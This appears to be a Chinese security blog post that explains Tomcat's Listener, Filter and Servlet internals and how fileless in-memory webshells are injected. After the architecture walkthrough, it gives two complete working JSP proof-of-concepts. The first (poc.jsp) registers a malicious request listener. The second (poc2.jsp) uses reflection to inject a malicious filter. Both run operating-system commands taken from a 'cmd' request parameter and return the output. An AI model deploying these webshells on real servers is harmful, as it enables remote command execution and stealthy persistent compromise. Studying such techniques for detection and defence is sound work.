tomcat及servlet内存码、Filter内存码、Listener内存码


内存码,顾名思义,注入内存的webshell,过程中没有文件落地,因此相对来说,发现难度会更高。

关键要点

内存马根据语言和容器不同,实现方式也会有所不同,但是本质是差不多的:
1、在不使用注解、修改配置文件或上传文件的情况下,使用纯代码获得代码运行的上下文环境;
2、在不使用注解、修改配置文件或上传文件的情况下,使用纯代码获得在上下文中注册一个控制器;
3、控制器包含webshell的实现逻辑,最终达到跟原始web应用一样,通过URL交互达到命令执行的目的。

这里以tommcat为例,讲讲内存码,前文主要介绍tomcat框架,后面分别讲述servlet内存码、Filter内存码、Listener内存码的原理和利用

基于tomcat的内存码

tomcat介绍

tomcat的框架如下图所示,主要有server、service、connector、container。
在这里插入图片描述
图中可以看出 Tomcat 的心脏是两个组件:Connector 和 Container:
Connector 主要负责对外交流,进行 Socket 通信(基于 TCP/IP),解析 HTTP 报文,对应下图中的http服务器;
Container 主要处理 Connector 接受的请求,主要是处理内部事务,加载和管理 Servlet,由 Servlet 具体负责处理 Request 请求,对应下图中的servlet容器。
在这里插入图片描述

server

即服务器,代表整个 tomcat 服务器,它要能够提供一个接口让其它程序能够访问到这个 Service 集合、同时要维护它所包含的所有 Service 的生命周期,包括如何初始化、如何结束服务、如何找到别人要访问的 Service。还有其它的一些次要的任务,如您住在这个地方要向当地政府去登记啊、可能还有要配合当地公安机关日常的安全检查什么的。

一个 tomcat 只有一个 Server Server 中包含至少一个 Service 组件,用于提供具体服务。

service

Service 主要是为了关联 Connector 和 Container,同时会初始化它下面的其它组件,在 Connector 和 Container 外面多包一层,把它们组装在一起,向外面提供服务,一个 Service 可以设置多个 Connector,但是只能有一个 Container 容器。

Tomcat 中 Service 接口的标准实现类是 StandardService ,它不仅实现了 Service 借口同时还实现了 Lifecycle 接口,这样它就可以控制它下面的组件的生命周期了

connector

Connector 组件是 Tomcat 中两个核心组件之一,它的主要任务是负责接收浏览器的发过来的 tcp 连接请求,创建一个 Request 和 Response 对象分别用于和请求端交换数据,然后会产生一个线程来处理这个请求并把产生的 Request 和 Response 对象传给处理这个请求的线程,处理这个请求的线程就是 Container 组件要做的事了。

连接器connector主要有三个功能:

  • socket通信
  • 解析处理应用层协议,如将 socket 连接封装成 request 和 response 对象,后续交给 Container 来处理
  • 将 Request 转换为 ServletRequest,将 Response 转换为 ServletResponse

以上分别对应三个组件 EndPoint、Processor、Adapter 来完成。Endpoint 负责提供请求字节流给Processor,Processor 负责提供 Tomcat 定义的 Request 对象给 Adapter,Adapter 负责提供标准的 ServletRequest 对象给 Servlet 容器。

它的框架如下图:
在这里插入图片描述

container

Container(又名Catalina)用于处理Connector发过来的servlet连接请求,它是容器的父接口,所有子容器都必须实现这个接口,Container 容器的设计用的是典型的责任链的设计模式,它有四个子容器组件构成,分别是:Engine、Host、Context、Wrapper,这四个组件不是平行的,而是父子关系,Engine 包含 Host,Host 包含 Context,Context 包含 Wrapper。

在这里插入图片描述

  • Engine:表示整个 Catalina 的 Servlet 引擎,用来管理多个虚拟站点,一个 Service 最多只能有一个 Engine,但是一个引擎可包含多个 Host
  • Host:代表一个虚拟主机,或者说一个站点,可以给 Tomcat 配置多个虚拟主机地址,而一个虚拟主机下可包含多个 Context
  • Context:表示一个 Web 应用程序,每一个Context都有唯一的path,一个Web应用可包含多个 Wrapper
  • Wrapper:表示一个Servlet,负责管理整个 Servlet 的生命周期,包括装载、初始化、资源回收等

通常一个 Servlet class 对应一个 Wrapper,如果有多个 Servlet 就可以定义多个 Wrapper,如果有多个 Wrapper 就要定义一个更高的 Container。

举个🌰,a.com和b.com分别对应着两个Host

在这里插入图片描述

tomcat结构图

在这里插入图片描述

环境搭建

参考:https://www.cnblogs.com/wormday/p/8435617.html
这里使用springMVC框架,IDEA可以直接搭建,比较方便
教程中调通到能访问界面就够了,后续步骤可忽略
在这里插入图片描述

Listener -> Filter -> Servlet

请求网站的时候, 程序先执行listener监听器的内容:Listener -> Filter -> Servlet
在这里插入图片描述

Servlet

Servlet是用来处理客户端请求的动态资源,也就是当我们在浏览器中键入一个地址回车跳转后,请求就会被发送到对应的Servlet上进行处理。

Servlet的任务有:

  • 接收请求数据:我们都知道客户端请求会被封装成HttpServletRequest对象,里面包含了请求头、参数等各种信息。
  • 处理请求:通常我们会在service、doPost或者doGet方法进行接收参数,并且调用业务层(service)的方法来处理请求。
  • 完成响应:处理完请求后,我们一般会转发(forward)或者重定向(redirect)到某个页面,转发是HttpServletRequest中的方法,重定向是HttpServletResponse中的方法,两者是有很大区别的。

Servlet的创建:Servlet可以在第一次接收请求时被创建,也可以在在服务器启动时就被创建,这需要在web.xml的< servlet>中添加一条配置信息 < load-on-startup>5< /load-on-startup>,当值为0或者大于0时,表示容器在应用启动时就加载这个servlet,当是一个负数时或者没有指定时,则指示容器在该servlet被请求时才加载。

Listener

Servlet,Filter都是针对url之类的,而Listener是针对对象的操作的,如session的创建,session.setAttribute的发生,在这样的事件发生时做一些事情。

当Web应用在Web容器中运行时,Web应用内部会不断地发生各种事件:如Web应用的启动和停止、用户Session的开始和结束等,通常这些Web事件对开发者是透明的。Listener(监听器)是观察者模式的应用,通过方法回调来实现。

Listener在当web容器启动的时候,去读取每个web应用的web.xml配置文件,当配置文件中配有filter和listener时,web容器实例化listener,listener是当某个事件发生时,调用它特定方法,如HttpSessionListener,当创建一个session时会调用它的sessionCreated()方法,当servlet容器关闭或者重新加载web应用时lister对象被销毁。

Filter

实现了javax.servlet.Filter接口,因此一定要实现javax.servlet包的Filter接口的三个方法init()、doFilter()、destroy(),空实现也行。Filter不像Servlet,它不能产生一个请求或者响应,它只是修改对某一资源的请求,或者修改对某一资源的响应。在启动服务器时会加载过滤器的实例,并调用init()方法来初始化实例;当每一次请求时都只调用方法doFilter()进行处理;停止服务器时调用destroy()方法,销毁实例。

web.xml 中声明的每个 filter 在每个虚拟机中仅仅只有一个实例。

  • 加载和实例化
    Web 容器启动时,即会根据 web.xml 中声明的 filter 顺序依次实例化这些 filter。
  • 初始化
    Web 容器调用 init(FilterConfig) 来初始化过滤器。容器在调用该方法时,向过滤器传递 FilterConfig 对象,FilterConfig 的用法和 ServletConfig 类似。利用 FilterConfig 对象可以得到 ServletContext 对象,以及在 web.xml 中配置的过滤器的初始化参数。在这个方法中,可以抛出 ServletException 异常,通知容器该过滤器不能正常工作。此时的 Web 容器启动失败,整个应用程序不能够被访问。实例化和初始化的操作只会在容器启动时执行,而且只会执行一次。
  • doFilter
    doFilter 方法类似于 Servlet 接口的 service 方法。当客户端请求目标资源的时候,容器会筛选出符合 filter-mapping 中的 url-pattern 的 filter,并按照声明 filter-mapping 的顺序依次调用这些 filter 的 doFilter 方法。在这个链式调用过程中,可以调用 chain.doFilter(ServletRequest, ServletResponse) 将请求传给下一个过滤器(或目标资源),也可以直接向客户端返回响应信息,或者利用 RequestDispatcher 的 forward 和 include 方法,以及 HttpServletResponse 的 sendRedirect 方法将请求转向到其它资源。需要注意的是,这个方法的请求和响应参数的类型是 ServletRequest 和 ServletResponse,也就是说,过滤器的使用并不依赖于具体的协议。
    (4) 销毁
    Web 容器调用 destroy 方法指示过滤器的生命周期结束。在这个方法中,可以释放过滤器使用的资源。

Listener内存码

listener介绍

Listener是最先被加载的, 所以可以利用动态注册恶意的Listener内存马。而Listener分为以下几种:

  • ServletContext,服务器启动和终止时触发
  • Session,有关Session操作时触发
  • Request,访问服务时触发
    其中关于监听Request对象的监听器是最适合做内存马的,只要访问服务就能触发操作。

Tomcat使用两类Listener接口分别是org.apache.catalina.LifecycleListener和原生JAVA.util.EvenListener。

LifecycleListener增加了生命周期管理,主要用于四大容器类StandardEngine、StandardHost、StandardContext、StandardWrapper。它们多用于Tomcat初始化启动阶段,那时客户端的请求还没进入解析阶段,也就是说不能通过请求,根据我们的输入执行命令

所以我们重点关注JAVA.util.EvenListener,EvenListener接口本身很简单,啥也没有。

package java.util;

/**
 * A tagging interface that all event listener interfaces must extend.
 * @since JDK1.1
 */
public interface EventListener {
}

原生Tomcat中,有很多继承于EventListener的接口,应用于各个对象的监听:
在这里插入图片描述
这里我们选择ServletRequestListener作为内存码的接口,为什么呢?因为ServletRequestListener主要用于监听ServletRequest的生成和销毁,也就是当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法。

package javax.servlet;

import java.util.EventListener;

public interface ServletRequestListener extends EventListener {
    void requestDestroyed(ServletRequestEvent var1);

    void requestInitialized(ServletRequestEvent var1);
}

在前面搭的环境基础上,我们写一个继承于ServletRequestListener的TestListener类

package com.swimming.test;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class TestListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("***  TestListener requestDestroyed  ***");
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("***  TestListener requestInitialized  ***");
    }
}

在这里插入图片描述
web.xml中写入路径

<listener>
    <listener-class>com.swimming.test.TestListener</listener-class>
</listener>

在这里插入图片描述
下断点,进行debug
在这里插入图片描述

我们向上追溯一层,发现org.apache.catalina.core.StandardContext#fireRequestInitEvent函数调用了我们的TestListener类

public boolean fireRequestInitEvent(ServletRequest request) {

        Object instances[] = getApplicationEventListeners();

        if ((instances != null) && (instances.length > 0)) {

            ServletRequestEvent event =
                    new ServletRequestEvent(getServletContext(), request);

            for (int i = 0; i < instances.length; i++) {
                if (instances[i] == null)
                    continue;
                if (!(instances[i] instanceof ServletRequestListener))
                    continue;
                ServletRequestListener listener =
                    (ServletRequestListener) instances[i];

                try {
                    listener.requestInitialized(event);
                } catch (Throwable t) {
                    ExceptionUtils.handleThrowable(t);
                    getLogger().error(sm.getString(
                            "standardContext.requestListener.requestInit",
                            instances[i].getClass().getName()), t);
                    request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);
                    return false;
                }
            }
        }
        return true;
    }

其中在调用listener.requestInitialized(event);的时候会调用我们的com.swimming.test.TestListener#requestInitialized初始化函数

其中listener是遍历Object instances[] = getApplicationEventListeners();中获取的

public Object[] getApplicationEventListeners() {
        return applicationEventListenersList.toArray();
    }

而我们可以通过org.apache.catalina.core.StandardContext#addApplicationEventListener函数,将我们恶意的listener添加进去

    public void addApplicationEventListener(Object listener) {
        applicationEventListenersList.add(listener);
    }

listener利用

jsp中我们可以通过如下两种方法获取StandardContext

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>
<%
	WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>

然后编写一个恶意listener

<%!
    public class myListener implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {

            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String out = s.hasNext()?s.next():"";
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    request.getResponse().getWriter().write(out);
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        public void requestInitialized(ServletRequestEvent sre) {}
    }
%>

最后通过如下方法添加监听器

<%
	MyListener myListener = new myListener();
    context.addApplicationEventListener(myListener);
%>

合并写入poc.jsp

<%--
  User: 5wimming
  Date: 2021/10/22
  Time: 下午6:55
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!
    public class MyListener implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    //in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                    in = Runtime.getRuntime().exec(new String[]{"sh","-c",req.getParameter("cmd")}).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String out = s.hasNext()?s.next():"";
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    request.getResponse().getWriter().write(out);
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        public void requestInitialized(ServletRequestEvent sre) {}
    }
%>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    MyListener listenerDemo = new MyListener();
    context.addApplicationEventListener(listenerDemo);
%>
<html>
<head>
    <title>poc</title>
</head>
<body>
hello poc

</body>
</html>

先访问poc.jsp
在这里插入图片描述
接着就可以执行命令了
在这里插入图片描述

Filter内存码

Filter介绍

在Tomcat中我们对Servlet进行访问的时候会先通过Filter,
在这里插入图片描述

因此我们只要中Filter中插入恶意代码,就可以进行命令执行,形成一个内存马。Filter接口如下:

package javax.servlet;

import java.io.IOException;

public interface Filter {
    void init(FilterConfig var1) throws ServletException;

    void doFilter(ServletRequest var1, ServletResponse var2, FilterChain var3) throws IOException, ServletException;

    void destroy();
}

接着,我们创建一个TestFilter,继承于Filter

package com.swimming.test;

import javax.servlet.*;
import java.io.IOException;

public class TestFilter implements Filter {

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("***  TestFilter init  ***");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("***  TestFilter doFilter  ***");
        filterChain.doFilter(servletRequest,servletResponse);
    }

    @Override
    public void destroy() {
        System.out.println("***  TestFilter destroy  ***");
    }
}

web.xml中加入该TestFilter

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <context-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>/WEB-INF/applicationContext.xml</param-value>
    </context-param>
    <listener>
        <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
    </listener>
    <listener>
        <listener-class>com.swimming.test.TestListener</listener-class>
    </listener>
    <filter>
        <filter-name>TestFilter</filter-name>
        <filter-class>com.swimming.test.TestFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>TestFilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>
    <servlet>
        <servlet-name>dispatcher</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>dispatcher</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>
</web-app>

下端点调试
在这里插入图片描述
往下跟,发现org.apache.catalina.core.ApplicationFilterChain#internalDoFilter调用了filter.doFilter(request, response, this);函数,从而触发了我们的Filter。

 private void internalDoFilter(ServletRequest request,
                                  ServletResponse response)
        throws IOException, ServletException {

        // Call the next filter if there is one
        if (pos < n) {
            ApplicationFilterConfig filterConfig = filters[pos++];
            try {
                Filter filter = filterConfig.getFilter();

                if (request.isAsyncSupported() && "false".equalsIgnoreCase(
                        filterConfig.getFilterDef().getAsyncSupported())) {
                    request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
                }
                if( Globals.IS_SECURITY_ENABLED ) {
                    final ServletRequest req = request;
                    final ServletResponse res = response;
                    Principal principal =
                        ((HttpServletRequest) req).getUserPrincipal();

                    Object[] args = new Object[]{req, res, this};
                    SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
                } else {
                    filter.doFilter(request, response, this);
                }
            } catch (IOException | ServletException | RuntimeException e) {
                throw e;
                ......

其中filter是从ApplicationFilterConfig filterConfig = filters[pos++];中来的,而filters的定义如下:

private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];

他是在哪赋值的呢,我们再往下追溯:
org.apache.catalina.core.ApplicationFilterChain#internalDoFilter函数会被org.apache.catalina.core.ApplicationFilterChain#doFilter调用
org.apache.catalina.core.ApplicationFilterChain#doFilter又被org.apache.catalina.core.StandardWrapperValve#invoke调用

其中org.apache.catalina.core.StandardWrapperValve#invoke函数中通过下面语句对filters进行赋值:

ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

我们接着分析createFilterChain函数,发现它会从StandardContext中拿到FilterMap filterMaps[],然后从filterMaps[]中获得ApplicationFilterConfig filterConfig值,最后将filterConfig传入filterChain.addFilter(filterConfig);

其中matchDispatcher和matchFiltersURL用来比较访问的路由和Filter对象的路由是否有包含关系

public static ApplicationFilterChain createFilterChain(ServletRequest request,
            Wrapper wrapper, Servlet servlet) {

        // If there is no servlet to execute, return null
        if (servlet == null)
            return null;

        // Create and initialize a filter chain object
        ApplicationFilterChain filterChain = null;
        if (request instanceof Request) {
            Request req = (Request) request;
            if (Globals.IS_SECURITY_ENABLED) {
                // Security: Do not recycle
                filterChain = new ApplicationFilterChain();
            } else {
                filterChain = (ApplicationFilterChain) req.getFilterChain();
                if (filterChain == null) {
                    filterChain = new ApplicationFilterChain();
                    req.setFilterChain(filterChain);
                }
            }
        } else {
            // Request dispatcher in use
            filterChain = new ApplicationFilterChain();
        }

        filterChain.setServlet(servlet);
        filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

        // Acquire the filter mappings for this Context
        StandardContext context = (StandardContext) wrapper.getParent();
        FilterMap filterMaps[] = context.findFilterMaps();

        // If there are no filter mappings, we are done
        if ((filterMaps == null) || (filterMaps.length == 0))
            return filterChain;

        // Acquire the information we will need to match filter mappings
        DispatcherType dispatcher =
                (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);

        String requestPath = null;
        Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
        if (attribute != null){
            requestPath = attribute.toString();
        }

        String servletName = wrapper.getName();

        // Add the relevant path-mapped filters to this filter chain
        for (int i = 0; i < filterMaps.length; i++) {
            if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
                continue;
            }
            if (!matchFiltersURL(filterMaps[i], requestPath))
                continue;
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                context.findFilterConfig(filterMaps[i].getFilterName());
            if (filterConfig == null) {
                // FIXME - log configuration problem
                continue;
            }
            filterChain.addFilter(filterConfig);
        }

        // Add filters that match on servlet name second
        for (int i = 0; i < filterMaps.length; i++) {
            if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
                continue;
            }
            if (!matchFiltersServlet(filterMaps[i], servletName))
                continue;
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                context.findFilterConfig(filterMaps[i].getFilterName());
            if (filterConfig == null) {
                // FIXME - log configuration problem
                continue;
            }
            filterChain.addFilter(filterConfig);
        }

        // Return the completed filter chain
        return filterChain;
    }

我们继续跟进filterChain.addFilter(filterConfig);函数,可以看到就是将ApplicationFilterConfig filterConfig存入我们前文说的filters中

void addFilter(ApplicationFilterConfig filterConfig) {

        // Prevent the same filter being added multiple times
        for(ApplicationFilterConfig filter:filters)
            if(filter==filterConfig)
                return;

        if (n == filters.length) {
            ApplicationFilterConfig[] newFilters =
                new ApplicationFilterConfig[n + INCREMENT];
            System.arraycopy(filters, 0, newFilters, 0, n);
            filters = newFilters;
        }
        filters[n++] = filterConfig;

    }

综上分析,我们只需要构造含有恶意的filter的filterConfig和拦截器filterMaps,就可以达到触发目的了,并且它们都是从StandardContext中来的

filterMaps中的数据对应web.xml中的filter-mapping标签

<filter-mapping>
    <filter-name>TestFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

filterMaps可以通过如下两个函数添加数据

@Override
public void addFilterMap(FilterMap filterMap) {
    validateFilterMap(filterMap);
    // Add this filter mapping to our registered set
    filterMaps.add(filterMap);
    fireContainerEvent("addFilterMap", filterMap);
}

@Override
public void addFilterMapBefore(FilterMap filterMap) {
    validateFilterMap(filterMap);
    // Add this filter mapping to our registered set
    filterMaps.addBefore(filterMap);
    fireContainerEvent("addFilterMap", filterMap);
}

我们来看看filterConfig有啥东西,它有三个重要的东西:
一个是ServletContext,一个是filter,一个是filterDef
在这里插入图片描述
其中filterDef就是对应web.xml中的filger标签了

<filter>
    <filter-name>TestFilter</filter-name>
    <filter-class>com.swimming.test.TestFilter</filter-class>
</filter>

从org.apache.catalina.core.StandardContext#filterStart中可以看到filterConfig可以通过filterConfigs.put(name, filterConfig);添加

public boolean filterStart() {

        if (getLogger().isDebugEnabled()) {
            getLogger().debug("Starting filters");
        }
        // Instantiate and record a FilterConfig for each defined filter
        boolean ok = true;
        synchronized (filterConfigs) {
            filterConfigs.clear();
            for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {
                String name = entry.getKey();
                if (getLogger().isDebugEnabled()) {
                    getLogger().debug(" Starting filter '" + name + "'");
                }
                try {
                    ApplicationFilterConfig filterConfig =
                            new ApplicationFilterConfig(this, entry.getValue());
                    filterConfigs.put(name, filterConfig);
                } catch (Throwable t) {
                    t = ExceptionUtils.unwrapInvocationTargetException(t);
                    ExceptionUtils.handleThrowable(t);
                    getLogger().error(sm.getString(
                            "standardContext.filterStart", name), t);
                    ok = false;
                }
            }
        }

        return ok;
    }

Filter利用

通过前文分析,得出构造的主要思路如下
1、获取当前应用的ServletContext对象
2、通过ServletContext对象再获取filterConfigs
2、接着实现自定义想要注入的filter对象
4、然后为自定义对象的filter创建一个FilterDef
5、最后把 ServletContext对象、filter对象、FilterDef全部都设置到filterConfigs即可完成内存马的实现

构造出poc2.jsp

<%--
  User: 5wimming
  Date: 2021/10/23
  Time: 上午10:31
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>

<%
    final String name = "5wmming";
    // 获取上下文
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null) {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner( in ).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.getWriter().write(output);
                    servletResponse.getWriter().flush();
                    return;
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }

            @Override
            public void destroy() {

            }

        };

        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name, filterConfig);
        out.print("Inject Success !");
    }
%>
<html>
<head>
    <title>filter</title>
</head>
<body>
    Hello Filter
</body>
</html>

访问如下。如果报错类不存在,将apache-tomcat-xxxx中lib中的jar引入到项目中即可
在这里插入图片描述
命令执行:
在这里插入图片描述

servlet内存码

未完待续

参考:

https://www.cnblogs.com/zpchcbd/p/14814385.html
https://www.anquanke.com/post/id/226769
https://blog.csdn.net/jingle1882010/article/details/80557808
https://xz.aliyun.com/t/10358
https://blog.csdn.net/u010653908/article/details/53485688
https://blog.csdn.net/qq_31065143/article/details/115837076
https://blog.csdn.net/angry_program/article/details/118492214

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值